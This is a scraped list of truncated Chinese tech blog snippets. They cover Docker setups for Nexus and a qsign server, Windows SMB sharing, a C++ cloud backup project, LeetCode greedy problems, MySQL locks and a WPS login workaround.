文章目录 前言安装创建文件夹设置文件夹权限docker创建指令制作docker-compose.yaml文件 查看网站访问网页查看密码 前言 nexus作为私服的maven仓库&#xff0c;在企业级应用中&#xff0c;提供了依赖来源的稳定性&#xff0c;为构建庞大的微服务体系&#xff0c;打下基础 安…

docker安装、调试qsign签名服务器

go-cqhttp 在 Docker 里早就部署好了&#xff0c;由于没有搭建 qsign 签名服务器&#xff0c;所以迟迟不敢上线。今天终于搞定了在 Docker 下安装 qsign 签名服务器了。这次用的docker市场里找到的镜像&#xff0c;下次找时间制作一个自己的镜像。 1 拉取和运行镜像&#xff1a…

Win10文件夹共享(有密码的安全共享)(SMB协议共享)

前言 局域网内&#xff08;无安全问题&#xff0c;比如自己家里wifi&#xff09;无密码访问&#xff0c;参考之前的操作视频 【电脑文件全平台共享、播放器推荐】手机、电视、平板播放硬盘中的音、视频资源 下面讲解公共网络如办公室网络、咖啡厅网络等等环境下带密码的安全…

云备份day02

&#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;C云备份项目 &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 主要内容介绍了第三方库jsoncpp和bundle库的使用 文章目录 云备…

代码随想录算法训练营第三十一天| 理论基础、LeetCode 455.分发饼干、376. 摆动序列、53. 最大子序和

一、理论基础 文章讲解&#xff1a;https://programmercarl.com/%E8%B4%AA%E5%BF%83%E7%AE%97%E6%B3%95%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%80.html 1.贪心的定义 贪心的本质是选择每一阶段的局部最优解&#xff0c;从而达到全局最优解。例如&#xff0c;有一堆钞票&#xff0c…

MySQL常见锁探究

MySQL常见锁探究 1. 各种锁类型1.1 全局锁1.2 表级锁1.2.1 表锁1.2.2 元数据锁&#xff08;MDL&#xff09;1.2.3 意向锁1.2.4 AUTO-INC 锁 1.3 行级锁1.3.1 Record Lock1.3.2 Gap Lock1.3.3 Next-Key Lock 2. MySQL是如何加锁的&#xff1f;2.1 什么 SQL 语句会加行级锁&#…

WPS 不登录无法使用基本功能的解决办法

使用wps时&#xff0c;常常有个比较让人烦恼的事&#xff0c;在不登录的情况下&#xff0c;新建或者打开文档时&#xff0c;wps不让你使用其基本的功能&#xff0c;如设置字体等&#xff0c;相关界面变成灰色&#xff0c;这时Wps提示用户登录注册或登录&#xff0c;但我又不想登…